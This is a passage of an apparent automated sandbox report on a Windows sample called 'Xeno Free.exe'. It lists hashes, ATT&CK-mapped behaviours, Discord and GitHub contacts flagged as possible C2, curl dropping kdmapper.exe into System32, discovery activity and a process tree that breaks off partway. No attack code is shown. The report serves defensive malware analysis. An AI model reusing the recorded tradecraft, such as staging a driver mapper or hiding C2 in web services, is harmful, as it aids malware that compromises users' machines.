56a53e0e7d30d20e0165588c632eb51c6a46c262ea1e7344240db08fdb229070

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 02:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xeno Free.exe
Size 627KB
Sample260701-c15j8aew7y
SHA256 56a53e0e7d30d20e0165588c632eb51c6a46c262ea1e7344240db08fdb229070
MD5 91e914e6994aeac043c32e7d6917f42c
SHA1 638520b6b67e15620456d47cbfdf70591feede9f
SHA512 b03bae65447eca3a9c3ad2bbd684235bc05d6647221d13c1ccb53a1e947e68be7090cadc0c6310e8a538ffc92f55acc2ca398905c0ba8b60cbd618c1bceddea5
SSDEEP 12288:GdT+CrywDdo0BR4RB1BiTn9lIPdhyC6YLK2eooF:iSCpDdbubiTn9lIPdh+YW2Q
TLSH
T1CED49E40F2E488B4D17B613899B6EB1BEB367858173096CF73E444582FE77E08AB5712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1476	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
32	discord.com
39	discord.com
54	discord.com
116	raw.githubusercontent.com
129	raw.githubusercontent.com
26	discord.com
27	discord.com
29	discord.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-sl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\male_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\surnames.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-as.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-mn-cyrl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-hi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-or.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-ru.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-und-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\ranked_dicts	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-af.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-cy.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-de-1996.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-fr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-ga.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-la.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-ta.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-kn.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_623584294\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-de-1901.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-es.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-nn.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-hy.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-ml.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-nl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-sv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-uk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\passwords.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\test.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-cs.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-it.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-mr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-sk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-tk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_623584294\Microsoft.CognitiveServices.Speech.core.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-lv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-pa.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\english_wikipedia.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-cu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-el.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-en-gb.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-en-us.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-hr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-mul-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-ka.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-nb.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-pt.hyb	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\model.markov	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-gu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\female_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_1821428730\us_tv_and_film.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-gl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-te.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-be.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-da.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-et.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-hu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-sq.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-bg.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-bn.hyb	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6200	msedge.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134273468271043814"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2581000985-3042091657-4068028891-1000\{18DDD8C6-9663-449B-A110-2862EB8A2881}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2581000985-3042091657-4068028891-1000\{976A571E-9F92-4BDB-BCBD-C9CC168F2A42}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1476	kdmapper.exe
1476	kdmapper.exe
5456	msedge.exe
5456	msedge.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5780	msedge.exe
5780	msedge.exe
5780	msedge.exe
5780	msedge.exe
5780	msedge.exe
5780	msedge.exe
5780	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5780	msedge.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 5880 wrote to memory of 2828	5880	Xeno Free.exe	90
PID 5880 wrote to memory of 5780	5880	Xeno Free.exe	91
PID 5780 wrote to memory of 5876	5780	msedge.exe	92
PID 5880 wrote to memory of 6216	5880	Xeno Free.exe	93
PID 5780 wrote to memory of 6200	5780	msedge.exe	94
PID 5780 wrote to memory of 6600	5780	msedge.exe	95
PID 5780 wrote to memory of 6600	5780	msedge.exe	95
PID 5780 wrote to memory of 6600	5780	msedge.exe	95
PID 5780 wrote to memory of 6992	5780	msedge.exe	96
PID 5780 wrote to memory of 6992	5780	msedge.exe	96
PID 5780 wrote to memory of 6204	5780	msedge.exe	98
PID 5780 wrote to memory of 6204	5780	msedge.exe	98
PID 5780 wrote to memory of 6204	5780	msedge.exe	98
PID 5780 wrote to memory of 6196	5780	msedge.exe	99
PID 5780 wrote to memory of 6196	5780	msedge.exe	99
PID 5780 wrote to memory of 6196	5780	msedge.exe	99
PID 5780 wrote to memory of 1404	5780	msedge.exe	100
PID 5780 wrote to memory of 1404	5780	msedge.exe	100
PID 5780 wrote to memory of 1404	5780	msedge.exe	100
PID 5780 wrote to memory of 1180	5780	msedge.exe	101
PID 5780 wrote to memory of 1180	5780	msedge.exe	101
PID 5780 wrote to memory of 1180	5780	msedge.exe	101
PID 5880 wrote to memory of 7100	5880	Xeno Free.exe	102
PID 5880 wrote to memory of 6660	5880	Xeno Free.exe	103
PID 6660 wrote to memory of 6192	6660	cmd.exe	104
PID 5780 wrote to memory of 5448	5780	msedge.exe	105
PID 5780 wrote to memory of 5952	5780	msedge.exe	106
PID 5780 wrote to memory of 5448	5780	msedge.exe	105
PID 5780 wrote to memory of 6492	5780	msedge.exe	107
PID 5780 wrote to memory of 6492	5780	msedge.exe	107
PID 5780 wrote to memory of 6492	5780	msedge.exe	107
PID 5780 wrote to memory of 5168	5780	msedge.exe	108
PID 5780 wrote to memory of 4260	5780	msedge.exe	109
PID 5780 wrote to memory of 5168	5780	msedge.exe	108
PID 5780 wrote to memory of 4260	5780	msedge.exe	109
PID 5780 wrote to memory of 5224	5780	msedge.exe	110
PID 5780 wrote to memory of 5224	5780	msedge.exe	110
PID 5780 wrote to memory of 5224	5780	msedge.exe	110
PID 5780 wrote to memory of 4484	5780	msedge.exe	112
PID 5880 wrote to memory of 4936	5880	Xeno Free.exe	115
PID 4936 wrote to memory of 5036	4936	cmd.exe	116
PID 5880 wrote to memory of 1476	5880	Xeno Free.exe	117
PID 5880 wrote to memory of 1452	5880	Xeno Free.exe	118
PID 5880 wrote to memory of 3496	5880	Xeno Free.exe	119
PID 5880 wrote to memory of 4556	5880	Xeno Free.exe	120
PID 5780 wrote to memory of 4124	5780	msedge.exe	122
PID 5780 wrote to memory of 3788	5780	msedge.exe	123
PID 5780 wrote to memory of 4900	5780	msedge.exe	124
PID 5780 wrote to memory of 6396	5780	msedge.exe	125
PID 5780 wrote to memory of 6396	5780	msedge.exe	125
PID 5780 wrote to memory of 7080	5780	msedge.exe	128
PID 5780 wrote to memory of 7080	5780	msedge.exe	128
PID 5780 wrote to memory of 3352	5780	msedge.exe	129
PID 5780 wrote to memory of 3352	5780	msedge.exe	129
PID 5780 wrote to memory of 5456	5780	msedge.exe	130
PID 5780 wrote to memory of 3268	5780	msedge.exe	131
PID 5780 wrote to memory of 3268	5780	msedge.exe	131

C:\Users\Admin\AppData\Local\Temp\Xeno Free.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno Free.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://guns.lol/xenoudd
  2⤵
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x37c,0x7ff81d88c188,0x7ff81d88c194,0x7ff81d88c1a0
    3⤵
    PID:5876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,18429670481770906654,1106494447339139566,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=2752 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,13553675019578005503,1170110041239377019,262144 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:2
    3⤵
    PID:6600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2432,i,1401915823350198073,1929826087793737151,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:13
    3⤵
    PID:6992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3560,i,17754758003181393347,2599433305016275018,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
    3⤵
    PID:6204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,17757610864840866188,8817164170628205450,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=1716 /prefetch:1
    3⤵
    PID:6196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4484,i,10074411734339021388,3936226486333178772,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:1
    3⤵
    PID:1404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5332,i,12849454022519682610,15571002715877463326,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
    3⤵
    PID:1180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3896,i,16790930060369856136,10437698875916009187,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:12
    3⤵
    PID:5448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3884,i,6869221903673755238,7619580608916756489,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:14
    3⤵
    - Modifies registry class
    PID:5952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5980,i,15472891929336729361,2347567495255790116,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:1
    3⤵
    PID:6492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,10199461449640215355,15358586482621630792,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:5168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5804,i,9045401102142127080,4904158800537658450,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:14
    3⤵
    PID:4260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6584,i,7228919646917543108,14155284885098263602,2097152 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:1
    3⤵
    PID:5224
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,5793204620370408969,7224718639902330775,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:14
    3⤵
    PID:4548
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,5793204620370408969,7224718639902330775,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:14
    3⤵
    PID:4484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7288,i,16119782929386343160,17089699977813402839,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:14
    3⤵
    PID:4124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7280,i,18099605996722650527,7282579979608569410,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:14
    3⤵
    PID:3788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,6245823727594289630,12675947025878748233,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
    3⤵
    PID:4900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1164,i,14348824091378219139,7874047872307380958,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=7344 /prefetch:14
    3⤵
    PID:6396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6540,i,12633659852792257279,13162316588259939581,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
    3⤵
    PID:7080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7056,i,9785199012775400696,15579916457150283631,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
    3⤵
    PID:3352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
